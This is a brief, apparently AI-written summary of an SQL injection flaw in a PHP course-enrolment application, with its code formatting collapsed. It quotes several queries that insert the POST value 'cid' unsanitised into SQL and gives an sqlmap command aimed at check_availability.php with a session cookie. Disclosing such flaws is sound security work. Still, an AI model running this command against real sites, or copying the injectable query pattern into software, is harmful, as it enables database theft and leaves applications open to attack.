Here's a concise markdown summary of the key information about the vulnerability from the screenshot: php $cid = $_POST["cid"]; $result = mysqli_query($con, "SELECT studentRegno FROM courseenrolls WHERE course = '$cid' and studentRegno = '$regid'"); php $result = mysqli_query($con, "SELECT * FROM courseenrolls WHERE course = '$cid'"); php $result1 = mysqli_query($con, "SELECT noofSeats FROM course WHERE id = '$cid'"); bash sqlmap -u "http:///check_availability.php" --data="cid=1" --cookie="PHPSESSID=" This summary captures the critical details of the vulnerability and how it can be exploited.